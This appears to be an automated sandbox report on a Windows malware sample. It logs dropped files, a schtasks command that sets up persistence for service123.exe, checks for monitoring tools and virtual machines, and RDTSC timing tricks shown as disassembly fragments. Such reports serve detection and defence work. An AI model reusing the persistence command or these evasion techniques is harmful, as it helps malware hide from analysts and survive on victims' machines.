Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C11A947 push eax; mov dword ptr [esp], ebx 8_2_6C11A95B
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C14EAB0 push eax; mov dword ptr [esp], ebx 8_2_6C14EBDB
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C120AA2 push eax; mov dword ptr [esp], ebx 8_2_6C120AB6
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C138AA0 push eax; mov dword ptr [esp], ebx 8_2_6C13909F
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C122AAC push edx; mov dword ptr [esp], ebx 8_2_6C122AC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C152BF0 push eax; mov dword ptr [esp], ebx 8_2_6C152F24
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C152BF0 push edx; mov dword ptr [esp], ebx 8_2_6C152F43
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C118435 push edx; mov dword ptr [esp], ebx 8_2_6C118449
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C138460 push eax; mov dword ptr [esp], ebx 8_2_6C138A5F
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C11048B push eax; mov dword ptr [esp], ebx 8_2_6C1104A1
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C1104E0 push eax; mov dword ptr [esp], ebx 8_2_6C1106DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C0F1CFA push eax; mov dword ptr [esp], ebx 8_2_6C1A6622
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C0F1CFA push eax; mov dword ptr [esp], ebx 8_2_6C1A6622
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C11A5A7 push eax; mov dword ptr [esp], ebx 8_2_6C11A5BB
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C152620 push eax; mov dword ptr [esp], ebx 8_2_6C152954
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C152620 push edx; mov dword ptr [esp], ebx 8_2_6C152973
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C1606B0 push eax; mov dword ptr [esp], ebx 8_2_6C160A4F
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C1106A2 push eax; mov dword ptr [esp], ebx 8_2_6C1106DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C1286A1 push 890005EAh; ret 8_2_6C1286A9
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C1106A6 push eax; mov dword ptr [esp], ebx 8_2_6C1106DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C1166F3 push edx; mov dword ptr [esp], ebx 8_2_6C116707
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C1106FD push eax; mov dword ptr [esp], ebx 8_2_6C1106DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C11070E push eax; mov dword ptr [esp], ebx 8_2_6C1106DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C11A777 push eax; mov dword ptr [esp], ebx 8_2_6C11A78B
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C120042 push eax; mov dword ptr [esp], ebx 8_2_6C120056
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C0EE0D0 push eax; mov dword ptr [esp], ebx 8_2_6C1A6AF6
Source: file.exe Static PE information: section name: xcimtcgo entropy: 7.955498311771967
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\unmYCIPOHmXNjqOesrEy.dll Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\service123.exe Jump to dropped file

Boot Survival

barindex
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion

barindex
Source: C:\Users\user\AppData\Local\Temp\service123.exe Evasive API call chain: CreateMutex,DecisionNodes,Sleep
Source: C:\Users\user\AppData\Local\Temp\service123.exe Stalling execution: Execution stalls by calling Sleep
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1545119 second address: 1545125 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1545125 second address: 1545130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F0DEC859E66h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16C6138 second address: 16C613C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16C613C second address: 16C6140 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16C5227 second address: 16C5233 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jnc 00007F0DECF2B4D6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16C5233 second address: 16C525E instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0DEC859E66h 0x00000008 ja 00007F0DEC859E66h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F0DEC859E79h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16C539B second address: 16C53B4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 jmp 00007F0DECF2B4DFh 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16C53B4 second address: 16C5416 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 jnc 00007F0DEC859E80h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 jmp 00007F0DEC859E6Dh 0x00000018 jmp 00007F0DEC859E71h 0x0000001d pop eax 0x0000001e pushad 0x0000001f push edi 0x00000020 pop edi 0x00000021 pushad 0x00000022 popad 0x00000023 jmp 00007F0DEC859E70h 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16C5416 second address: 16C5423 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F0DECF2B4D6h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16C5845 second address: 16C5849 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16C972D second address: 16C9733 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16C9733 second address: 16C973D instructions: 0x00000000 rdtsc 0x00000002 je 00007F0DEC859E6Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16C973D second address: 16C977A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 add dword ptr [esp], 6668784Fh 0x0000000d mov dh, bl 0x0000000f push 00000003h 0x00000011 movzx ecx, bx 0x00000014 push 00000000h 0x00000016 mov esi, edi 0x00000018 push 00000003h 0x0000001a pushad 0x0000001b and esi, 16C65643h 0x00000021 movsx edi, cx 0x00000024 popad 0x00000025 or dword ptr [ebp+122D1B15h], esi 0x0000002b push 74B75DA0h 0x00000030 pushad 0x00000031 push esi 0x00000032 push eax 0x00000033 pop eax 0x00000034 pop esi 0x00000035 push eax 0x00000036 push edx 0x00000037 jbe 00007F0DECF2B4D6h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16C98E6 second address: 16C9905 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 add dword ptr [esp], 6CC2F645h 0x0000000c push edi 0x0000000d add dl, FFFFFFA3h 0x00000010 pop edx 0x00000011 lea ebx, dword ptr [ebp+124585E1h] 0x00000017 cmc 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e pop eax 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16C9905 second address: 16C990B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16C99C0 second address: 16C99C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16C99C6 second address: 16C9A1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECF2B4DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 1147A2BEh 0x00000010 xor dword ptr [ebp+122D1995h], edi 0x00000016 jmp 00007F0DECF2B4E6h 0x0000001b push 00000003h 0x0000001d mov ecx, dword ptr [ebp+122D1C37h] 0x00000023 push 00000000h 0x00000025 mov ecx, dword ptr [ebp+122D3016h] 0x0000002b push 00000003h 0x0000002d add dx, 262Dh 0x00000032 push 72E051E2h 0x00000037 jc 00007F0DECF2B4E4h 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16C9A1D second address: 16C9A21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16C9A21 second address: 16C9A9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 add dword ptr [esp], 4D1FAE1Eh 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F0DECF2B4D8h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 cmc 0x00000028 lea ebx, dword ptr [ebp+124585ECh] 0x0000002e pushad 0x0000002f mov dx, cx 0x00000032 push ebx 0x00000033 jmp 00007F0DECF2B4E1h 0x00000038 pop edi 0x00000039 popad 0x0000003a xchg eax, ebx 0x0000003b pushad 0x0000003c jbe 00007F0DECF2B4DCh 0x00000042 jmp 00007F0DECF2B4E0h 0x00000047 popad 0x00000048 push eax 0x00000049 pushad 0x0000004a push edi 0x0000004b jo 00007F0DECF2B4D6h 0x00000051 pop edi 0x00000052 push eax 0x00000053 push edx 0x00000054 push ecx 0x00000055 pop ecx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16EA0D4 second address: 16EA0F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DEC859E72h 0x00000009 popad 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d jnc 00007F0DEC859E66h 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16EA0F5 second address: 16EA113 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DECF2B4E4h 0x00000009 js 00007F0DECF2B4D6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16EA113 second address: 16EA119 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16EA119 second address: 16EA125 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16EA125 second address: 16EA129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16E7FB8 second address: 16E8003 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECF2B4DCh 0x00000007 js 00007F0DECF2B4D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007F0DECF2B4E9h 0x00000015 push esi 0x00000016 pop esi 0x00000017 pop eax 0x00000018 push ebx 0x00000019 jl 00007F0DECF2B4D6h 0x0000001f js 00007F0DECF2B4D6h 0x00000025 pop ebx 0x00000026 push eax 0x00000027 push edx 0x00000028 js 00007F0DECF2B4D6h 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16E8003 second address: 16E8007 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16E841E second address: 16E8439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DECF2B4E7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16E8598 second address: 16E85DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DEC859E70h 0x00000007 push esi 0x00000008 jmp 00007F0DEC859E73h 0x0000000d pop esi 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jns 00007F0DEC859E72h 0x00000018 push eax 0x00000019 push edx 0x0000001a jng 00007F0DEC859E66h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16E85DD second address: 16E85E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16E85E1 second address: 16E85E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16E85E7 second address: 16E85F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F0DECF2B4D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16E8DF4 second address: 16E8DF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16E8DF8 second address: 16E8E09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F0DECF2B4D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16E8E09 second address: 16E8E0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16E8E0E second address: 16E8E15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16E8E15 second address: 16E8E43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DEC859E79h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F0DEC859E68h 0x00000014 push edx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16E8E43 second address: 16E8E5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DECF2B4E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16E9C1E second address: 16E9C22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16E9C22 second address: 16E9C26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16E9C26 second address: 16E9C4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push edx 0x0000000c pop edx 0x0000000d popad 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 jmp 00007F0DEC859E6Ah 0x00000016 pop edx 0x00000017 push eax 0x00000018 push edx 0x00000019 ja 00007F0DEC859E66h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16E9C4A second address: 16E9C7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 jmp 00007F0DECF2B4DCh 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F0DECF2B4E8h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16E9C7E second address: 16E9C84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16E9C84 second address: 16E9C94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007F0DECF2B4E2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16E9C94 second address: 16E9CB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F0DEC859E66h 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F0DEC859E66h 0x00000012 jmp 00007F0DEC859E6Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16E9CB3 second address: 16E9CB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16E9CB7 second address: 16E9CBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16E9F76 second address: 16E9F7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16F1478 second address: 16F1494 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F0DEC859E77h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16F1494 second address: 16F1499 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16F1499 second address: 16F14A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16F6AD7 second address: 16F6AF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F0DECF2B4E2h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16B1892 second address: 16B1896 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16F5E2E second address: 16F5E32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16F5E32 second address: 16F5E4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DEC859E76h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16F5FBC second address: 16F5FC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16F5FC2 second address: 16F5FC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
